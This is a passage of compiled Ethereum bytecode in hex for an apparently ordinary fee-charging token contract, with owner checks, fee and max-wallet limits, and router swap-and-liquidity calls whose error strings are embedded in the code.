fffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461166e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611665906134c3565b60405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156116c8575060018210155b611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fe906135c1565b60405180910390fd5b61172e8161172084600354611bee90919063ffffffff16565b611c6890919063ffffffff16565b6004819055505050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661178e57600080fd5b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647617530906040516117da90613612565b600060405180830381858888f193505050503d8060008114611818576040519150601f19603f3d011682016040523d82523d6000602084013e61181d565b606091505b505090508061182b57600080fd5b50565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600e549050919050565b6118c96120eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194d906134c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bc90613699565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611a8a6120eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e906134c3565b60405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b6d57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808303611c005760009050611c62565b60008284611c0e91906136e8565b9050828482611c1d9190613771565b14611c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5490613814565b60405180910390fd5b809150505b92915050565b6000611caa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612151565b905092915050565b6000838311158290611cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf19190612d93565b60405180910390fd5b5060008385611d099190613834565b9050809150509392505050565b6000601960009054906101000a900460ff1615611d3f57611d388484846121b4565b905061209a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dcb575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e215750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e7f5760045482611e338561115d565b611e3d9190613868565b1115611e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e759061390a565b60405180910390fd5b5b611e87612394565b15611e9557611e94612434565b5b6000611ea083610d72565b9050611f2b816040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb29092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611f798661298d565b611f835781611f8f565b611f8e8686846129e4565b5b9050611fe381600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61207e84610d37565b60405161208b9190612cdf565b60405180910390a36001925050505b9392505050565b60006120e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb2565b905092915050565b600033905090565b60008082846121029190613868565b905083811015612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90613976565b60405180910390fd5b8091505092915050565b60008083118290612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218f9190612d93565b60405180910390fd5b50600083856121a79190613771565b9050809150509392505050565b6000806121c083610d72565b905061224b816040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb29092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e081600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123809190612cdf565b60405180910390a360019150509392505050565b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156124015750601960009054906101000a900460ff16155b80156124195750601560149054906101000a900460ff165b801561242f575060185461242c3061115d565b10155b905090565b6001601960006101000a81548160ff0219169083151502179055506000612468600d54600e546120a190919063ffffffff16565b905060006124a8600261249a8461248c600a54601854611bee90919063ffffffff16565b611c6890919063ffffffff16565b611c6890919063ffffffff16565b905060006124c1826018546120a190919063ffffffff16565b90506000600267ffffffffffffffff8111156124e0576124df612fb7565b5b60405190808252806020026020018201604052801561250e5781602001602082028036833780820191505090505b509050308160008151811061252657612525613996565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073ae83571000af4499798d1e3b0fa0070eb3a3e3f98160018151811061258957612588613996565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b815260040161262c959493929190613abe565b600060405180830381600087803b15801561264657600080fd5b505af115801561265a573d6000803e3d6000fd5b50505050600061267382476120a190919063ffffffff16565b9050600061269f6126906002600a54611c6890919063ffffffff16565b886120a190919063ffffffff16565b905060006126dd60026126cf846126c1600a5488611bee90919063ffffffff16565b611c6890919063ffffffff16565b611c6890919063ffffffff16565b90506000612708836126fa600c5487611bee90919063ffffffff16565b611c6890919063ffffffff16565b9050600061273384612725600b5488611bee90919063ffffffff16565b611c6890919063ffffffff16565b90506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661278383856120f390919063ffffffff16565b6175309060405161279390613612565b600060405180830381858888f193505050503d80600081146127d1576040519150601f19603f3d011682016040523d82523d6000602084013e6127d6565b606091505b505090508061281a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281190613b64565b60405180910390fd5b60008a111561292c57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016128ac96959493929190613b84565b60606040518083038185885af11580156128ca573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128ef9190613bfa565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b604051612923929190613c4d565b60405180910390a15b60158054906101000a900460ff161561295b576016546018541461295257601654612956565b6017545b61295f565b6018545b60188190555050505050505050505050506000601960006101000a81548160ff021916908315150217905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080612a66600f54612a58612a49601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146118b5565b86611bee90919063ffffffff16565b611c6890919063ffffffff16565b90506000612a93600e54612a85600d5485611bee90919063ffffffff16565b611c6890919063ffffffff16565b9050612aaa816006546120a190919063ffffffff16565b6006819055506000612ac582846120a190919063ffffffff16565b9050612b1981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612bb484610d37565b604051612bc19190612cdf565b60405180910390a37fc3b3cc73ac1faef58c428c22be6cb344acfd92a699c8cd758c753af27071b5ac82600654604051612bfc929190613c4d565b60405180910390a1612c1783866120a190919063ffffffff16565b93505050509392505050565b828054612c2f90613446565b90600052602060002090601f016020900481019282612c515760008555612c98565b82601f10612c6a57805160ff1916838001178555612c98565b82800160010185558215612c98579182015b82811115612c97578251825591602001919060010190612c7c565b5b509050612ca59190612ca9565b5090565b5b80821115612cc2576000816000905550600101612caa565b5090565b6000819050919050565b612cd981612cc6565b82525050565b6000602082019050612cf46000830184612cd0565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d34578082015181840152602081019050612d19565b83811115612d43576000848401525b50505050565b6000601f19601f8301169050919050565b6000612d6582612cfa565b612d6f8185612d05565b9350612d7f818560208601612d16565b612d8881612d49565b840191505092915050565b60006020820190508181036000830152612dad8184612d5a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612df482612dc9565b9050919050565b612e0481612de9565b8114612e0f57600080fd5b50565b600081359050612e2181612dfb565b92915050565b612e3081612cc6565b8114612e3b57600080fd5b50565b600081359050612e4d81612e27565b92915050565b60008060408385031215612e6a57612e69612dbf565b5b6000612e7885828601612e12565b9250506020612e8985828601612e3e565b9150509250929050565b60008115159050919050565b612ea881612e93565b82525050565b6000602082019050612ec36000830184612e9f565b92915050565b600060208284031215612edf57612ede612dbf565b5b6000612eed84828501612e12565b91505092915050565b600080600060608486031215612f0f57612f0e612dbf565b5b6000612f1d86828701612e12565b9350506020612f2e86828701612e12565b9250506040612f3f86828701612e3e565b9150509250925092565b600060208284031215612f5f57612f5e612dbf565b5b6000612f6d84828501612e3e565b91505092915050565b600060ff82169050919050565b612f8c81612f76565b82525050565b6000602082019050612fa76000830184612f83565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612fef82612d49565b810181811067ffffffffffffffff8211171561300e5761300d612fb7565b5b80604052505050565b6000613021612db5565b905061302d8282612fe6565b919050565b600067ffffffffffffffff82111561304d5761304c612fb7565b5b61305682612d49565b9050602081019050919050565b82818337600083830152505050565b600061308561308084613032565b613017565b9050828152602081018484840111156130a1576130a0612fb2565b5b6130ac848285613063565b509392505050565b600082601f8301126130c9576130c8612fad565b5b81356130d9848260208601613072565b91505092915050565b6000602082840312156130f8576130f7612dbf565b5b600082013567ffffffffffffffff81111561311657613115612dc4565b5b613122848285016130b4565b91505092915050565b61313481612e93565b811461313f57600080fd5b50565b6000813590506131518161312b565b92915050565b6000806000806080858703121561317157613170612dbf565b5b600061317f87828801613142565b945050602061319087828801612e3e565b93505060406131a187828801612e3e565b92505060606131b287828801613142565b91505092959194509250565b600080600080608085870312156131d8576131d7612dbf565b5b60006131e687828801612e3e565b94505060206131f787828801612e3e565b935050604061320887828801612e3e565b925050606061321987828801612e3e565b91505092959194509250565b6000806040838503121561323c5761323b612dbf565b5b600061324a85828601612e12565b925050602061325b85828601613142565b9150509250929050565b600060c08201905061327a6000830189612cd0565b6132876020830188612cd0565b6132946040830187612cd0565b6132a16060830186612cd0565b6132ae6080830185612cd0565b6132bb60a0830184612cd0565b979650505050505050565b6132cf81612de9565b82525050565b60006020820190506132ea60008301846132c6565b92915050565b6000806040838503121561330757613306612dbf565b5b600061331585828601612e12565b925050602061332685828601612e12565b9150509250929050565b6000806040838503121561334757613346612dbf565b5b600061335585828601612e3e565b925050602061336685828601612e3e565b9150509250929050565b60006020828403121561338657613385612dbf565b5b600061339484828501613142565b91505092915050565b6000819050919050565b60006133c26133bd6133b884612dc9565b61339d565b612dc9565b9050919050565b60006133d4826133a7565b9050919050565b60006133e6826133c9565b9050919050565b6133f6816133db565b82525050565b600060208201905061341160008301846133ed565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061345e57607f821691505b60208210810361347157613470613417565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006134ad602083612d05565b91506134b882613477565b602082019050919050565b600060208201905081810360008301526134dc816134a0565b9050919050565b7f46656573206d757374206265206c657373207468616e20323525000000000000600082015250565b6000613519601a83612d05565b9150613524826134e3565b602082019050919050565b600060208201905081810360008301526135488161350c565b9050919050565b7f4d61782077616c6c6574206d7573742062652067726561746572207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ab602283612d05565b91506135b68261354f565b604082019050919050565b600060208201905081810360008301526135da8161359e565b9050919050565b600081905092915050565b50565b60006135fc6000836135e1565b9150613607826135ec565b600082019050919050565b600061361d826135ef565b9150819050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613683602683612d05565b915061368e82613627565b604082019050919050565b600060208201905081810360008301526136b281613676565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006136f382612cc6565b91506136fe83612cc6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613737576137366136b9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061377c82612cc6565b915061378783612cc6565b92508261379757613796613742565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137fe602183612d05565b9150613809826137a2565b604082019050919050565b6000602082019050818103600083015261382d816137f1565b9050919050565b600061383f82612cc6565b915061384a83612cc6565b92508282101561385d5761385c6136b9565b5b828203905092915050565b600061387382612cc6565b915061387e83612cc6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b3576138b26136b9565b5b828201905092915050565b7f4d61782057616c6c657420457863656564656400000000000000000000000000600082015250565b60006138f4601383612d05565b91506138ff826138be565b602082019050919050565b60006020820190508181036000830152613923816138e7565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613960601b83612d05565b915061396b8261392a565b602082019050919050565b6000602082019050818103600083015261398f81613953565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006139ea6139e56139e0846139c5565b61339d565b612cc6565b9050919050565b6139fa816139cf565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a3581612de9565b82525050565b6000613a478383613a2c565b60208301905092915050565b6000602082019050919050565b6000613a6b82613a00565b613a758185613a0b565b9350613a8083613a1c565b8060005b83811015613ab1578151613a988882613a3b565b9750613aa383613a53565b925050600181019050613a84565b5085935050505092915050565b600060a082019050613ad36000830188612cd0565b613ae060208301876139f1565b8181036040830152613af28186613a60565b9050613b0160608301856132c6565b613b0e6080830184612cd0565b9695505050505050565b7f72656365697665722072656a656374656420414441207472616e736665720000600082015250565b6000613b4e601e83612d05565b9150613b5982613b18565b602082019050919050565b60006020820190508181036000830152613b7d81613b41565b9050919050565b600060c082019050613b9960008301896132c6565b613ba66020830188612cd0565b613bb360408301876139f1565b613bc060608301866139f1565b613bcd60808301856132c6565b613bda60a0830184612cd0565b979650505050505050565b600081519050613bf481612e27565b92915050565b600080600060608486031215613c1357613c12612dbf565b5b6000613c2186828701613be5565b9350506020613c3286828701613be5565b9250506040613c4386828701613be5565b9150509250925092565b6000604082019050613c626000830185612cd0565b613c6f6020830184612cd0565b939250505056fea26469706673582212200f164b48ecc6b11975dc04f15505000b7483f476b8a530ee93bb6510a3da5f4864736f6c634300080d0033